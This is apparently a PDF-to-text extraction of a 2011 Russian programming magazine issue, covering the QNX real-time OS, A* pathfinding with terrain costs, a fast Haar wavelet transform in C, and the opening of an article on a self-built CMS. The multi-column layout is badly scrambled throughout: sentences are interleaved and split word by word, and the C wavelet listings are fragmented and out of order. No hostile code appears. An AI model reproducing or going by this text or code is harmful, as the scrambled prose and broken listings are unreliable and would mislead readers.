В статье рассказывается о семействе операционных систем реального времени QNX*, представлен небольшой обзор основных отличительных особенностей QNX, а также указаны существующие версии ОСРВ QNX и ЗОСРВ КПДА.

будет уверенно чувствовать себя и в QNX. А администратору для знакомства и изучения системы

понадобится

значительно

меньше

времени, т.к. базовые знания по ОСРВ у него

уже есть. Очень распространенной и популяр-

Что такое QNX? Любую

ной

современную

версию

QNX

можно

UNIX-подобной

GNU/Linux,

который

осваивать и QNX.

(ОСРВ), основанная на микроядре и обмене

Соответствие POSIX

система

реального

времени

сообщениями. Дополнительно стоит отметить вытекающие из этого описания такие характеристики

QNX,

как

модульность,

встраи-

ваемость, надежность и соответствие POSIX. Рассмотрим

отдельности.

все

эти

характеристики

по

под

понимается

IT-спе-

Эта

характеристика

представляет

собой

следствие и дополнение UNIX-подобности QNX.

Стандарты POSIX описывают интерфейс между

операционной

системой

и

прикладной

программой, т.е., во многом, функции языка C. POSIX, т.к. многие стандарты были приняты

время,

пользователя) выглядит как UNIX. Это озна-

PSE52

дерево каталогов: /bin, /etc, /dev, /lib, /usr и т.п.;

переносить множество программ из других ОС.

интерпретатора командной строки: ls, cat, echo,

из исходных кодов.

система

внешне

то,

после выпуска этой версии ОСРВ. В тоже

что

операционная

этим

многим

ОСРВ QNX4 поддерживает не все стандарты

UNIX-подобная операционная система Обычно

знаком

является

циалистам и студентам, что позволяет им легче

описать следующими словами: UNIX-подобная операционная

системой

(т.е.

для

чает, например, то, что присутствует знакомое

используется

знакомый

набор

утилит

cp, rm и т.д.; интерфейс ориентирован на работу

с

файлами.

Что

это

дает

новым

пользователям QNX? Очень просто, уверенный

пользователь любой другой UNIX-подобной ОС

ОСРВ

QNX6

больше

соответствует

стандартам POSIX и сертифицирована по POSIX Realtime

Поддержка

Controller

POSIX-стандартов

1003.12-2003.

позволяет

Обычно для этого требуется только пересборка

Операционная система реального времени Операционная система реального времени –

* Компания QSSL, разработавшая операционную систему QNX, была создана в 1980 году Дэном Доджом и Гордоном Беллом (оба — выпускники университета Ватерлоо, расположенного в Онтарио, Канада). Сначала компания называлась Quantum Software Systems Limited, а ее продукт назывался «QUNIX» («Quantum UNIX»). После вежливого письма адвокатов компании AT&T (которой в то время принадлежала торговая марка «UNIX»), имя продукта изменили на «QNX». Первый программный продукт, получивший коммерческий успех, назывался просто «QNX» и работал на процессорах 8088 серии. Затем, в начале 80-х, была выпущена операционная система «QNX2» (QNX, версия 2). Примерно в 1991 году появилась новая операционная система, «QNX4», с улучшенной поддержкой 32-разрядных операций и стандарта POSIX. И, наконец, в 1995 году была заявлена новая модификация ОС семейства QNX, называемая QNX/Neutrino / Cправка.

17


ПРО

№17 (октябрь) 2011

граммист

ОБЩИЕ ВОПРОСЫ такая ОС в которой, результат работы любой

программы зависит не только от правильности

используемых алгоритмов, но и от времени, за

микроядра

и

выделены

в

в

отдельные

пользовательские процессы. Эти подсистемы

QNX представляют собой отдельные модули:

которое получен этот результат. Если ОС не

файловая

чениям, должен фиксироваться сбой в работе.

сами эти подсистемы тоже состоят из модулей.

может

удовлетворить

временным

ограни-

ОС жесткого реального времени гарантирует выполнение задачи за определенный момент

времени, в то время как ОС мягкого реального

времени выполняет задачу за определенное

время с определенной вероятностью. QNX – это

подсистема,

сетевая

подсистема,

графическая подсистема и т.д. В свою очередь Например,

представляет

драйверов SATA

файловая собой

устройств

и

(поддержка

IDE

USB

подсистема

менеджер

Fsys.atapi

Fsys,

контроллеров),

накопителей),

QNX4

набор

(поддержка

Fsys.umass Fsys.floppy

ОС жесткого реального времени, что способ-

(поддержка дисководов) и т.д. и менеджеров

автомобильной

(файловая система CD-ROM), Fatfsys (файловая

ствует ее успешному применению в медицине, технике,

военной

промыш-

ленности и в других областях ответственного

файловых

систем,

таких

как

Iso9660fsys

система FAT) и т.д. Другие подсистемы QNX

назначения.

разбиты

Микроядро и обмен сообщениями

в соответствии с решаемой задачей (для этого

многие функции обычного (монолитного) ядра

вынесены в пользовательский уровень. Само

микроядро поддерживает минимальный набор по

управлению

процессами

и

памятью, а также по обеспечению межпроцес-

сного взаимодействия, основным механизмом

которого

в

ОСРВ

QNX

является

обмен

сообщениями. Преимущество применения микроядра в том, что ядро проще отладить

и

не

требуется

пересборка

назначения

достаточно

драйвер.

будет

целом,

перезапустить

т.к.

только

Модульность Это свойство вытекает из архитектуры построе-

ния ОСРВ QNX, основанной на микроядре.

Функции драйверов оборудования вынесены из

перезагрузка

Например,

сопряжено

со

Модульность

надежность системы в целом.

в

или

случае

значительными

также

повышает

Надежность Надежность ОСРВ QNX является следствием

уже

в

даже

ядра).

трудностями.

работе оборудования не приведет к аварийному

ошибок). А любая ошибка в драйвере или системы

образом.

файловой системы, что во многих ОС общего

нескольких

всей

схожим

необходимости можно перезапустить драйвер

протестировать (а значит в нем гораздо меньше

завершению

модули

Модульность позволяет конфигурировать ОСРВ

Микроядро – это такое ядро ОС, в котором

функций

на

свойств,

таких

как

микроядро,

жесткое реальное время и модульность. Как упоминалось

выше,

микроядро

с

небольшим набором функций легче отладить и

протестировать, чем большое монолитное ядро.

Тестирование гибридного ядра усложняется

еще и большим количеством модулей, которые

могут

быть

собраны

и

использованы

в

различных комбинациях. Поддержка жесткого

реального времени гарантирует своевременную

реакцию

на

внешнее

воздействие.

Время

реакции может быть рассчитано и измерено

18


ПРО

№17 (октябрь) 2011

граммист

ОБЩИЕ ВОПРОСЫ заранее. В свою очередь, модульность позволя-

система, обладающая защитой от несанкциони-

(дисков, сети, графики и т.д.) без перезагрузки

недекларированных возможностей (НДВ). Для

ет

перезагружать

неисправные

драйве-ры

всей системы. Точно также можно выгрузить старую версию драйвера и запустить новую,

т.к. драйверы – это обычные пользовательские

процессы, которые напрямую не взаимодейст-

вуют

с

ядром.

Однако,

такой

перезапуск

драйвера может быть невозможен при работе с гибридным

ядром,

где

драйверы

должны

поддерживать программный интерфейс ядра.

рованного доступа (НСД), а также не имеющая решения

этой

задачи

и

предоставления

отечественным специалистам сертифицированного продукта была создана организация «СВД

Встраиваемые Системы». Специалистами «СВД

ВС» были подготовлены защищенная опера-

ционная система реального времени (ЗОСРВ)

«QNX» КПДА.00002-01 и ЗОСРВ «Нейтрино»

КПДА.10964-01, которые основаны на QNX4 и

QNX6 соответственно. ЗОСРВ семейства КПДА

Какой бывает QNX

содержат

Первая версия QNX вышла в 1981 году, и с тех

необходимые

средства

защиты

информации (СЗИ), а также обладают двоичной

совместимостью с соответствующими версиями

пор сменилось несколько поколений системы:

QNX.

отметить, что QNX2 это первая коммерческая

Заключение

сообщений.

Читателям был представлен небольшой обзор

QNX2, QNX4 и QNX6 (или QNX Neutrino). Стоит операционная система, основанная на передаче В

версии

QNX4

разработчики

сохранили все самое лучшее из QNX 2 и

семейства операционных систем QNX, а также

добавили совместимость с POSIX. Расцвет QNX4

перечислен ряд их общих свойств. Конечно,

века, хотя эта версия ОСРВ и сейчас еще

статье все (и даже все интересное) о такой

пришелся на середину 90-х годов прошлого

популярна. Именно поэтому для QNX 4 до сих пор

выпускаются

исправления

ошибок

рассказать в небольшой (и даже в большой)

многоранной ОС не получится. Поэтому многие

и

вопросы и вовсе не освещались, как, например,

QNX Neutrino вышло в самом начале 2000-х

дальнейшем знакомить читателя с QNX и его

обновления драйверов. Более новое поколение годов и привнесло много улучшений, таких как, лучшую

поддержку

стандартов

POSIX,

поддержку многопоточности, многопроцессор-

сетевая прозрачность. Автор постарается и в

технологиями. Буду рад, если это знакомство

будет приятно читателям.

ности (AMP, SMP, BMP), поддержку различных

Ресурсы

ARM, SH4). QNX Neutrino развивается и в

1. С.Зыль.

аппаратных платформ (x86, PowerPC, MIPS, настоящее время.

В следствии высокой надежности самой QNX и удобной разработки под эту систему, ОСРВ

стала популярна и у нас в России. Однако, есть области, где требуется не просто качественная

и безотказная операционная система, но и

Операционная система реального

времени QNX. От теории к практике. – СПб.:

BHV-СПб, 2004

2. Р.Кертен. The QNX Cookbook: recipes for

programmers. – PARSE Software Devices, 2004

Р.Кртен.

Введение

в

QNX

Neutrino.

3. Руководство для разработчиков приложений

реального времени. – СПб.: BHV-СПб, 2011

19


ПРО

№17 (октябрь) 2011

граммист

Дмитрий Шкаровский

http://scr1pter.blogspot.com

АЛГОРИТМЫ

A STAR. СТОИМОСТЬ ПЕРЕДВИЖЕНИЯ И ОПТИМИЗАЦИЯ В прошлой статье мы рассмотрели алгоритм поиска пути A star и два типа проходимости (где можно пройти и где нельзя), как в теории, так и на практике. Но было бы не плохо еще разобраться наглядно, не используя ни формулы, ни код. Давайте исправим ситуацию и рассмотрим реализацию, когда каждая клетка имеет разную степень проходимости, или как еще говорят, имеют разный вес. Мы просто раздадим разным клеткам разный вес в зависимости от рельефа. Чем темнее у нас будет клетка, тем больше времени она будет отнимать у «путника», который будет по ней идти.

Представим, что у нас есть карта 6 на 5 клеток,

итого 30, и нам надо попасть из клетки с номером 6 в 22. Зеленым квадратиком, я буду

обозначать,

что

эта

клетка

находится

в

открытом списке. Синим – в закрытом (см. рисунок 1):

данные ячейки (см. рисунок 2): Рис. 2. Напомню вкратце обозначения из прошлого

урока [1]:

• ID – номер ячейки в сетке; • mID – ее родитель;

• G – стоимость передвижения из стартовой клетки к данной. В моем примере каждое

передвижение по горизонтали и вертикале

будет стоить 10 единиц, а по диагонали 14.

Так вот G – это сумма единиц пройденного

расстояния

от

начала

рассматриваемой точки;

до

конкретно

• H – стоимость передвижения от данной

клетки до конечной по методу Манхеттена

Рис. 1. Карта 6х5. Стартовая позиция Я выбрал именно это расположение стартовой,

(Manhattan method). Этот метод состоит в

том что мы рассчитываем расстояние только

по

горизонтали

и

вертикали,

игнорируя

препятствия и диагональные перемещения.

конечной точек и преград, потому что мне

• F – сумма G и H.

видим мы сразу добавили нашу стартовую

Так как в открытом списке у нас лишь одна

показался этот случай интересным. Как мы

клетку в открытый список.

Давайте взглянем на то, как я буду записывать

клетка 6, то мы берем ее для анализа (см. рисунок 3):

20


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ

Рис. 3. Мы

добавили

ее

Рис. 5.

проходимых

соседей

в

открытый список, оценили их путь и нашу

клетку отправили в закрытый список. Теперь нам

надо

выбрать

клетку

с

наименьшим

Клетка под номером 18 была добавлена раньше

(см. рисунок 6).

Уже видно два пути, которых наш алгоритм

значением F (цифра верхнего левого уголка)

пытается сравнить и выявить наименьший.

соседей слева направо, то первая клетка с

продолжим

для анализа. Так как мы начинали искать наименьшим F у нас будет 12 (см. рисунок 4).

Опять у нас спорный момент между клетками 7

и 18, но 7 была добавлена раньше. Значит, ищем ее соседей (см. рисунок 5).

Рис. 4.

Хоть нам и ясно какой из них будет верным, наше

наглядное

исследование.

Ищем соседей для клетки 8 (см. рисунок 7).

Следующая клетка, соседей которой мы будем

оценивать,

это

клетка

19.

И

она

будет

Рис. 6.

21


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ

Рис. 7.

последним анализируемым звеном в не самом

коротком пути* (см. рисунок 8):

Рис. 8.

В порядке очереди выбираем клетку 9 (см. рисунок 9). На

данном

этапе,

у

нас

появилась

одна

единственная клетка с наименьшим F, и она под номером 16 (см. рисунок 10).

Добавляя соседей для клетки 16, мы так же

добавили нашу конечную точку, а значит, пора

Теперь

нам

Рис. 9.

надо

найти

по

клеткам,

находящимся в закрытом списке наш путь. Так

Рис. 10.

как мы храним их номера родителей (master ID, правая

верхняя

цифра

в

квадратике),

то

двигаясь с конца по родительским клеткам

дойдем до стартовой, это и будет наш путь (см. рисунок 11).

И вот так выглядит наш путь найденный

алгоритмом A* (см. рисунок 12):

останавливать нашу рутинную процедуру :)

* Но я вам этого не говорил / Автор.

22


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ

Рис. 11.

Рис. 12.

Рис. 13.

Думаю теперь, когда мы «разжевали» алгоритм

заполнил так, что в середине карты у меня

не осталось ни у кого? Теперь мы легко можем

холмами (см. рисунок 13).

поиска пути A star. Недопонимания и вопросов найти кратчайший путь из одной точки в другу. Рассчитать стоимость передвижения

прошлую

В

структуре

статью

[1])

CMapChunk мы

введем

Сейчас вы наверно подумали, опять будет куча расчетов и нудятины, а вот и ничего подобного!

Как же это реализовать? А все очень и очень просто!

получилась синусоида, как будто тропа между

(смотри допол-

нительный параметр RankPassability, который будет хранить вес проходимости. Я, например,

Как один из вариантов: мы просто в оценке

пути при расчете F (F это сумма G и H)

умножаем его результат на вес клетки:

Chunk.F = (Chunk.H + Chunk.G) * WayMap–>GetRankPass(Chunk.ID);

23


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ

Рис. 14.

Рис. 15.

Если вам эта строка ни о чем не говорит, и вы

не знаете что такое F, H и G, то вы не читали

мои прошлые статьи. А зря. ДА! И это все, вот

результат (см. рисунок 14). Но, внезапно на нашем пути появилась китайская стена (см.

рисунок 15). И приведем последний пример

(см. рисунок 16). Таким образом, можно задать болота, реки, рельеф и другие типы местности на карте.

Оптимизация найденного пути В чем заключается оптимизация найденного

пути? Все очень просто: мы должны убрать точки лежащие на одной прямой. Но у меня

Рис. 16.

будем добавлять лишние точки. Для этого нам

Итого, вот так выглядит наш кусок кода,

"CPathfinding::GetWay".

его:

идея получше: в момент построения пути не

потребуется отредактировать нашу функцию

Как мы узнаем, что точки лежат на одной прямой? Так как у нас все клетки карты

хранятся в одномерном массиве и имеют свой уникальный номер, то просто давайте найдем

который в конце ищет точки пути и добавляет

while (ID != iMasterID) { ID = iMasterID; iMasterID = GetMasterID(ID); PointOfWay.x = ID % WayMap–>GetGridWidth()*

разницу между номерами добавляемых в карту

WayMap–>GetChunkSize();

разница совпадает, то эту клетку мы добавлять

WayMap–>GetChunkSize();

клеток. И если при следующем добавлении не будем.

PointOfWay.z = ID / WayMap–>GetGridWidth()* int iDelta = abs(ID–iMasterID);

24


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ Ресурсы

if (iDelta != iSaveDelta) { Way–>insert(Way–>begin(), PointOfWay);

1. Д.Шкаровский.

iSaveDelta = iDelta;

и

issues/2011-/-/56--lr-16/download

2. Блог автора. A star в картинках

http://scr1pter.blogspot.com/2011/05/star.html

Заключение Вот и все, теперь наш путь оптимизирован и не можно

Пространство

№16, с.45 http://procoder.info/index.php/dl/

}

Работу

Star.

алгоритм поиска пути. – ПРОграммист, 2011,

}

будет

A

содержать

лишних

программы,

ненужных

которую

посмотреть

приложенных к журналу.

в

мы

точек.

создадим,

видеофайлах,

3. Блог автора. Стоимость передвижения в A star http://scr1pter.blogspot.com/2011/05/ star_23.html

4. Блог автора. Оптимизация найденного пути

http://scr1pter.blogspot.com/2011/05/blog–post

_24.html

25


ПРО

№17 (октябрь) 2011

граммист

Виталий aka DRUID3

druid3@i.ua

АЛГОРИТМЫ

ПРАКТИКА РЕАЛИЗАЦИИ БЫСТРОГО ВЕЙВЛЕТ-ПРЕОБРАЗОВАНИЯ

Во множестве интернет-ресурсов можно скачать ту или иную имплементацию FFT и DCT (дискретно-косинусная трансформация), а то и теоретико-числовых преобразований. Программисты-практики легко могут подобрать себе реализацию для своих конкретных целей и задач. С быстрым вейвлет-преобразованием все сложнее. Хороших его реализаций в свободном доступе исключительно мало. Многие из них относятся к обработке графики и сложно распределены по исходнику, например «смешаны» с квантователем уровней. Восполнить такой пробел и пытается автор этой небольшой заметкой. Статья (а скорее эссе – поток сознания) не предназначена для начального ознакомления с вейвлетами (я думаю читатель слышал о WiKi), а уже предполагает наличие у читателя базовых знаний из области ЦОС и назревшую потребность в решении практических задач.

2) отсутствие патентной протекции (как в

случае с малораспространенным преобразованием Хартли);

3) некоторая, а если быть откровенным – ложная, физическая наглядность.

Ложная она потому, что для всех остальных преобразований

тоже

теснейшим образом связано с преобразованием

проявятся.

«добавляет

для длин последовательностей равным целой

физических,

Развитие

современных

телекоммуникаций

Фурье и алгоритмом его быстрого вычисления степени 2-ки. Что

именно

так

выделяет

(математическую

применимость отбросим,

тема

природу

этот

и

алгоритм

физическую

Фурье-преобра-зования

статьи

не

о

ней)?

выдающихся особенностей несколько:

Таких

1) относительная алгоритмическая простота (более

сложные

преобразования

Фурье,

техники

например

быстрого для

не

можно

поставить

физический эксперимент, где они наглядно

тельное

Еще

рассмотрение

Фурье-

перцу»

радиоинженерных

обяза-

анализа и

для

электро-

технических специальностей – при этом Фурье

вызывает своего рода «привыкание», в то же

время

не

намного

более

абстрактные

теоретико-числовые преобразования вгоняют программиста в ступор.

Не растекаясь мыслию по-древу... Нетерпеливый читатель воскликнет – доста-

точно, я уселся читать статью о вейвлетах, а мне подсовывают какой-то обзор о Фурье! Он

степеней 2-ки*, не получили столь широкого

прав и все это «надувательство» происходит

основном в спецпакетах – том же FFTW [1];

эти два преобразования связаны (даже для

распространения

и

встретить

их

можно

в

* Некоторое математическое обоснование можно посмотреть на http://sonder.ru/content/view/480/32 и http://toroid.ru/book/ nussbaymerG.zip / Редакция.

лишь потому, что в историческом контексте

26


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ нужд

их

анализа

выражают

часто

одно

через

другое). И причины популяр-

ности

FFT

перечислены

только затем, чтобы показать

вание

вейвлет-преобразо-

ему

ничем

уступает. Но в бой, друзья.

не Рис. 1. Графическое представление дерева вейвлет разложения

Итак, перейдем к проблемам

практической реализации. Во-первых, нужно

сказать

о

том,

множество

что

[2],

вейвлетов**

в

отличие

от

великое Фурье-

преобразования (хотя, если его рассматривать как

подмножество

теоретико-числовых

множество, то...).

Понятное дело, что невозможно и написать универсальную вейвлетом

процедуру.

Хаара

Мы

ограничимся

http://dmr.ath.cx/gfx/haar,

поскольку эти вейвлеты имеют очень простую

(да

еще

и

биортогоналом,

структуру довольно!

лаконично.

сходную в

быстрого

Далее

Механистика

том

лишь

с

Добеши***

числе

преобразования.

алгоритма

по

делу,

и

JPEG2000) Но,

кратко

быстрого

и

вейвлет-

преобразования «до безобразия» проста: 0. Берем последовательность отсчетов.

алгоритм хорошо визуализируется картинкой

из

WiKi

(думаю,

ее

уместно

привести

в

бесплатном издании, эдакий опенсоурс, см. рисунок 1).

Разумеется НЧ и ВЧ фильтры не произвольные,

их импульсная характеристика не что иное как базовые

аппроксимирующий

и

детализи-

рующий вейвлеты – как разработать такие

фильтры смотри ссылку выше [3]. И

здесь

стоит

замечание...

сверхбыстром

сделать

еще

Пресловутые вычислении

одно

важное

легенды

такого

о

рода

отображения (порядок N против N х logN для

FFT) не совсем верны. По сути, все сильно

зависит

от

длины

сэмплах)

базовых

вейвлетов и количества шагов разложения. Как известно,

операций

для

(не

FIR

фильтра

учитывая

количество

расходов

на

конкретную реализацию) равно произведению

1. Проходим по ней ВЧ-фильтром.

количества отсчетов входной последователь-

половина результата)

– обозначим как Lh (итого Lh х N).

ности НЧ фильторм.

Децимация (прореживание), в свою очередь,

вторая половина, либо новая входная после-

делать правильно, а не в лоб. Итого, при одном

2. Децимируем(прореживаем) ее на 2. (это одна 3. Проходим по первоначальной последователь-

4. Децимируем(прореживаем) ее на 2. (это

довательность).

5. Продолжаем с пункта 0 столько раз, сколько

задано.

Древовидный (рекурсивный по своей природе) ** Мы не сможем в краткой заметке рассмотреть их все, более того, мы не будем касаться разработки наборов вейвлет-функций – в сети есть доступные, с хорошей подачей статьи на эту тематику [3] / Автор.

ности (N) на длину импульсной характеристики

сокращает количество операций вдвое – если

шаге FWT (быстрого вейвлет преобразования)

мы выполняем количество операций как при

«наложении»

FIR

характеристикой),

базового

вейвлета.

конечной

длиной Этой

импульсной

равной

же

длине

величиной

27


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ В случае же 2-х точечных

базовых вейвлетов Хаара или

Добеши, картина вычисления во

временной

более

области

упрощается,

еще

ведь

фильтр и децимация «вырож-

даются» в обычные блочные

суммы-разности.

Рис. 2. Блок-схема быстрой свертки с использованием FFT (длиной),

в

максимальное

свою

очередь,

количество

определяется

ступеней

разло-

жения, но зависимость обратная. Но, в целом,

никак не меньше, чем Lh х N операций. Как и любую другую подобного рода фильтрацию

можно

заменить

быстрым

основе FFT (см. рисунок 2).

алгоритмом

на

«Стоит ли это делать?», – тот еще вопрос. Дело

в

том,

что,

как

уже

упоминалось

выше,

фильтрация здесь не простая, не по учебнику,

из главы по преимуществу FFT над FIR –

пресловутый случай N х N, а Lh х N, где может быть, а как правило так и есть, Lh<<N.

Очевидно,

что

алгоритм

с

блоком

длиной

степени кратной 2-ки так же будет далек от оптимума – слишком много операций с 0 (им

придется

дополнить

длину

импульсной

демонстрирует

листинг:

void fn_FHWT2p2 ( 2-х */ unsigned int ui_w, /* количество точек входного и выходного векторов */ const unsigned int const cuci_N, /* указатель на вектор входных данных */ int *ai_da, /* указатель на вектор выходных данных */ int *ai_ka ) { int ai_buff[cuci_N>>1]; unsigned int ui_j; unsigned int ui_i; unsigned int ui_step = 0; unsigned int ui_ord

разбивая на них последовательность входных

for (ui_j=0; ui_j<cuci_N; ui_j=ui_j+2) {

с

алгоритмами

данных,

либо

свести

коротких

все

к

сверток,

какому-то

многомерному FFT и уже через него вычислять

ai_ka[ui_j>>1]

= cuci_N;

= (ai_da[ui_j] - ai_da[ui_j+1])>>1;

ai_buff[ui_j>>1] = (ai_da[ui_j] + ai_da[ui_j+1])>>1;

свертку.

}

Оба пути нетривиальны и требуют немалого

for (ui_i=1; ui_i<(ui_w-1); ui_i++) {

математически-алгоритмического

«бэкграунда». Плюс ко всему, децимацию уже

ui_step = ui_step+(cuci_N>>ui_i); ui_ord

= (ui_ord>>1);

нельзя красиво вписать в алгоритм, а нужно

for (ui_j=0; ui_j<ui_ord; ui_j=ui_j+2) {

после обратного FFT, либо выполнить**** ее

ai_buff[ui_j+1])>>1;

будет либо делать, что называется «в лоб», еще в частотной области [4].

ai_ka[ui_step+(ui_j>>1)] = (ai_buff[ui_j] ai_buff[ui_j>>1]

= (ai_buff[ui_j] +

*** Вейвлеты Добеши (англ. Daubechies Wavelet) – семейство ортогональных вейвлетов с компактным носителем, вычисляемым итерационным путем. Названы в честь математика из США, первой построившей данное семейство, Ингрид Добеши / http://ru.wikipedia.org/wiki/Вейвлеты_Добеши. **** Вот тут http://bourabai.kz/signals/ts05.htm можно найти ответ на вопрос: «...как это сделать?».

и

следующий

/* количество проходов FWT <= log(2, cuci_N), но и не меньше

характеристики). Потому здесь нужно, либо

работать

Что

28


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ ai_buff[ui_j+1])>>1;

int *pi_p2 = &ai_buff[cuci_N>>1]; int *pi_temp;

}

ui_ord

}

= ui_ord>>ui_w;

ui_step = cuci_N - ui_ord; ui_ord

= (ui_ord>>1);

ui_step = ui_step+(cuci_N>>ui_i);

for (ui_j=0; ui_j<ui_ord; ui_j=ui_j+2) { ai_buff[ui_j]

ai_ka[ui_step+(ui_j>>1)] = (ai_buff[ui_j] -

= ai_ka[(ui_j>>1)+ui_step];

ai_buff[ui_j+1] = ai_ka[(ui_j>>1)+ui_step];

for (ui_j=0; ui_j<ui_ord; ui_j=ui_j+2) { }

ai_buff[ui_j+1])>>1; } ui_ord

= ui_ord<<1;

ui_step = cuci_N - ui_ord;

ui_i++; ui_step = ui_step+(cuci_N>>ui_i);

for (ui_j=0; ui_j<(ui_ord>>1); ui_j=ui_j+2) { ai_buff[ui_j]

for (ui_j=0; ui_j<ui_ord; ui_j=ui_j+2) {

= ai_buff[ui_j]

+

ai_ka[ui_step+(ui_j>>1)] = (ai_buff[ui_j] +

ai_ka[(ui_j>>1)+ui_step];

ai_buff[ui_j+1])>>1;

ai_buff[ui_j+1] = ai_buff[ui_j+1] ai_ka[(ui_j>>1)+ui_step];

} }

}

/* =========== */

for (ui_i=1; ui_i<ui_w-1; ui_i++) {

void fn_rFHWT2p2 (

ui_ord

= ui_ord<<1;

/* количество проходов FWT <= log(2, cuci_N), но и не меньше

ui_step = cuci_N - ui_ord;

2-х */ for (ui_j=0; ui_j<ui_ord; ui_j=ui_j+2) { unsigned int ui_w,

pi_p2[ui_j]

/* количество точек входного и выходного векторов */

pi_p2[ui_j+1] = pi_p1[ui_j>>1];

= pi_p1[ui_j>>1];

const cuci_N,

pi_p2[ui_j]

= pi_p2[ui_j]

+ ai_ka[(ui_j>>1)+ui_step];

pi_p2[ui_j+1] = pi_p2[ui_j+1] - ai_ka[(ui_j>>1)+ui_step];

/* указатель на вектор входных данных */ }

int *ai_ka, /* указатель на вектор выходных данных */

pi_temp = pi_p1;

int *ai_da

pi_p1

= pi_p2;

)

pi_p2

= pi_temp;

} { for (ui_j=0; ui_j<cuci_N; ui_j=ui_j+2) {

int ai_buff[cuci_N]; unsigned int ui_j;

ai_da[ui_j]

= pi_p1[ui_j>>1];

unsigned int ui_i;

ai_da[ui_j+1] = pi_p1[ui_j>>1];

unsigned int ui_step = 0;

ai_da[ui_j]

unsigned int ui_ord

ai_da[ui_j+1] = ai_da[ui_j+1] - ai_ka[ui_j>>1];

= cuci_N;

= ai_da[ui_j]

+ ai_ka[ui_j>>1];

} int *pi_p1 = &ai_buff[0];

}

29


ПРО

№17 (октябрь) 2011

граммист

АЛГОРИТМЫ В ресурсах к журналу вы найдете хорошо

столько раз сколько нужно, чтобы покрыть

(оптимизирован для встроенных систем, при

Возможность доступа к мелкой детализации

прокомментированный небольшой проект***** разработке использованы GNU tools), который

поможет программистам тестировать и писать

свои, более продвинутые, реализации быстрого

вейвлет-преобразования, написанных на основе

прекрасного практического руководства [5].

первоначальный интервал новым вейвлетом.

внутри

блока

рассмотрения

оконного эффекта (вейвлет-функция определена на интервале рассмотрения и обращается в

ноль вне его) открывают новые возможности

применения

такого

разложения

Ресурсы

преобразования.

1. Пакет FFTW http://fftw.org

понимание

применение

показывает

физических и

там,

где

отображения.

Как послесловие, остается сказать несколько о

отсутствие

раньше применялись FFT, FCT и им подобные

Постскриптум слов

и

Именно

свойствах

самого

качественное

его

обуславливает

целесообразное

корреляцию

с

FWT

детализирующими

разработчиком.

и

WT

базовыми

аппроксимирующими

вейвлетами внутри интервала рассмотрения.

2. С.Малла. Вейвлеты в обработке сигналов. – Мир, Москва, 2005.

3. А.Киселев. Вейвлет своими руками

http://www.basegroup.ru/library/cleaning/maki ng_wavelet

Добавляя новые этапы разложения мы так же

4. А.В. Давыдов. Теория сигналов и линейных

вейвлет сжали в два раза и сдвигали на

5. Г.Г. Штарк. Применение вейвлетов для ЦОС.

узнаем корреляцию, так как если бы этот величину нового масштаба, причем сдвигали

систем http://bourabai.kz/signals/index.htm – Техносфера, Москва, 2007.

***** GCC любой. Тестировался на x64. Предназначен для ARM LPC2148. Код практически универсальный. Если выбросить make- файл (не умею их для windows писать) и тупо вставить код в консольный прокект студии – должно заработать. Но врать не буду, я работаю исключительно на Linux- системах / Автор.

30


ПРО

№17 (октябрь) 2011

граммист

Артем Назаров

admin@artnazarov.ru

WEB ТЕХНОЛОГИИ

ИСТОРИЯ ОДНОЙ CMS. ЧАСТЬ 1

Привет читателям журнала «ПРОграммист». С марта 2011 года я разрабатываю в одиночку проект под названием Potto CMS*. Исходники открыты и размещены на Google Code. На мой личный сайт часто приходят по запросам «схема работы CMS». Собственно, интерес со стороны анонимусов к теме самописных CMS и подтолкнул меня к созданию этого небольшого очерка. Potto CMS будет интересна предпринимателям - для системы написаны модули Витрина товаров и Складской учет, позволяющие создать интернет-магазин (пример: http://dveri.oren-biz.ru).

Знакомство с созданием сайтов начиналось с простенькой домашней странички на одном из бесплатных

хостингов.

Никакого

конструк-

тора сайта, никаких систем управления или фреймворков. Первый опыт с чистым HTML не

оттолкнул какими-то существенными слож-

ностями, было интересно экспериментировать

и базами данных в интернете рано или поздно

исчезнет и все переместится в сеть. Пример тому – хотя бы Google Docs.

Личная страничка меж тем забылась, да и

хостинга этого в помине нет. Бесплатные хос-

тинги вымирали как мастодонты. О сайтах

с фреймами, JavaScript. Лишь спустя некото-

снова** я вспомнил в 2008 году, будучи к тому

ке как CSS.

программирования и знающим некоторые ос-

рое время я узнал о такой замечательной шту-

Краткий экскурс... Всемирная паутина у любого опытного поль-

зователя вызывает неподдельный интерес: ка-

времени знакомым с традиционными языками

новы PHP/Javascript.

С другой стороны, со временем появился опыт

работы с Drupal и Joomla, которые радо-

вали возможностью создавать свои собствен-

кие программы, стандарты и языки в основе

ные модули и компоненты. Правда, смешение

лять сайты по-разному, как работает пользова-

ло. Время шло. В блокноте я стал делать

интернета, как дизайнерам удается оформ-

тельский интерфейс, как между собой взаимо-

действуют браузер и сервер и т.п. Сегодня

сложно представить себе локальную сеть или офисный и домашний компьютер без выхода в

PHP-кода и HTML-разметки не особо радова-

заметки о том, как примерно устроены CMS,

сравнивая между собой движки, с которыми имел дело.

Интернет. Самое основное – спрос на услуги,

И вот, «клиент созрел»

общественных деятелей, коммерческих струк-

В один прекрасный день я решил, что хотя бы

связанные с представительством частных лиц, тур и государственных организаций не ослабе-

вает – рынок интернет-услуг растет, развива-

ется, крепнет. Грань между настольным ло-

кальным приложением и сайтами, сервисами

для самого себя будет отличным и полезным

занятием написать свою CMS. Раздумывал с

месяц – а стоит ли браться за это: ведь есть

отличные коммерческие продукты, есть Open

* Кинкажу, potto - медовый медведь - редкий исчезающий вид животных из рода енотовых размером с кошку. Цепкохвостые карликовые лемуро-медведи - довольно дружелюбные животные, которых человек при желании может легко приручить / Cправка.

